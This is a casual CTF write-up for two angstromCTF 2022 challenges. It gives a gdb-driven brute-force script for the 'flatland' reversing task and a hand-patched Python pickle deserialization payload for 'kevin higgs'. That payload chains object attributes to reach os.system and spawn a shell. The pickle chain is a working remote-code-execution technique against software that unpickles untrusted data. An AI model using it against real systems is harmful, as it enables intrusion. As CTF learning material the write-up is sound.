Page MenuHomedesp's stash

angstrom22.md
No OneTemporary

angstrom22.md

### flatland
since [@Kevin](https://maplebacon.org/authors/Kevin/) was trying out instruction counting and got actf alr i was like hey why not try the gdb character by character bruteforce method i did in maplectf and breakpoint at getc since if its wrong it would die before the next getc
turns out though characters are not unique in that multiple can trigger the next getc
tried to manually read a pattern and choose the next character to use, but the result is not dependent which means id have to make a lot of guesses manually
so DFS it is
since we know theres a flag in memory which is scrambled, we can narrow it down using the characters in the flag and removing one on traversing each node
not long after got the solve script and with some manual intervention with english guessing we got the flag lmao
gdb op
(by the way my teammate [@Jason](https://maplebacon.org/authors/Jason/) made a [much less cheesy solution](https://github.com/Green-Avocado/CTF/tree/main/angstromctf2022/rev/flatland) that actually teaches you things lol)
(and it won a writeup prize too which is why i have binary ninja now thanks jason :D)
```py
from pwn import *
import sys
def search(flag, alpn):
if len(flag) >= 23:
print(flag, '\n\n\n')
sys.exit()
possible = []
for c in alpn:
count = 0
io = process(['/usr/bin/gdb', '-q', './flatland'])
io.sendline('b *(0x401389)')
print(flag)
print("".join([c[0] for c in flag] + [c]))
io.sendline('start')
io.recvuntil('Starting program')
io.recvuntil('\n(gdb) ')
io.send('continue\n')
io.sendline("".join([c[0] for c in flag] + [c]))
while True:
end = io.recvuntil('\n(gdb) ')
if 'exited with code' in end.decode('utf-8'):
break
count+=1
io.send('continue\n')
print(c, count)
if count == len(flag) + 1:
possible += [c]
io.close()
print(possible)
if not possible:
return
for c in possible:
search(flag + c, [x for x in alpn if x != c])
search('actf{Fl4TmAn_', 'NRD1orwd0u')
```
### kevin higgs
pickle crafting codes borrowed from https://ctftime.org/writeup/16723
they dont quite work with multiple dots, so i had to add pickle manipulating codes at the end to finish the gadget chain
```py
#__class__.__base__.__subclasses__()[117].__init__.__globals__["system"]("ls -la")
# setattr(empty, 'c1', empty.__class__.__base__) (or alternatively empty.__setattr__('c1', empty.__class__.__base__))
c1 = craft(
attr("empty.__setattr__"),
"c1", attr("empty.__class__")
)
# setattr(empty, 'c3', empty.c1.__subclasses__()) #inner craft runs the func with REDUCE
c3 = craft(
attr("empty.__setattr__"),
"c3", (craft(attr("empty.c1")))
)
# setattr(empty, 'c4', empty.c3.__getitem__(134)) #same here
c4 = craft(
attr("empty.__setattr__"),
"c4", (craft(attr("empty.c3"), 134))
)
# setattr(empty, 'c6', empty.c4) #oops looks like i missed this gadget lol its redundant
c6 = craft(
attr("empty.__setattr__"),
"c6", attr("empty.c4")
)
# setattr(empty, 'c7', empty.c6.__init__)
c7 = craft(
attr("empty.__setattr__"),
"c7", attr("empty.c6")
)
# setattr(empty, 'c8', empty.c7.__globals__)
c8 = craft(
attr("empty.__setattr__"),
"c8", attr("empty.c7")
)
# setattr(empty, 'c8', empty.c8.__getitem__('system'))
c9 = craft(
attr("empty.__setattr__"),
"c9", (craft(attr("empty.c8"), 'system'))
)
# setattr(empty, 'c8', empty.c9('sh'))
cx = craft(
attr("empty.__setattr__"),
"cx", (craft(attr("empty.c9"), 'sh'))
)
#chain them all up to run sequentially
obj = craft(attr("empty.__setattr__"), ".", (c1, c3, c4, c6, c7, c8, c9, cx))
s = dumps(obj)
p = bytearray(s)
print(p)
print(pickletools.dis(p))
#adds the chain to the corresponding gadget above (e.g. empty.c1 -> empty.c1.__subclasses__)
n = r'__class__.__base__'.encode()
nr = b'__class__'
i = p.find(nr) #first occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')
n = r'c1.__subclasses__'.encode()
nr = b'c1'
i = p.find(nr,p.find(nr)+1) #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')
n = r'c3.__getitem__'.encode()
nr = b'c3'
i = p.find(nr,p.find(nr)+1) #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')
n = r'c6.__init__'.encode()
nr = b'c6'
i = p.find(nr,p.find(nr)+1) #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')
n = r'c7.__globals__'.encode()
nr = b'c7'
i = p.find(nr,p.find(nr)+1) #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')
n = r'c8.__getitem__'.encode()
nr = b'c8'
i = p.find(nr,p.find(nr)+1) #second occurence
p[i-1:i+len(nr)+1] = bytes([len(n)]) + n
p[3:11] = (int.from_bytes(p[3:11], byteorder='little')+len(n)-len(nr)-1).to_bytes(8, byteorder='little')
print(p)
print(pickletools.dis(p))
print(p.hex())
```

File Metadata

Mime Type
text/x-python
Expires
Mon, Aug 4, 8:33 PM (16 h, 40 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
32/6f/4ca701d5c3388617750a944e610e

Event Timeline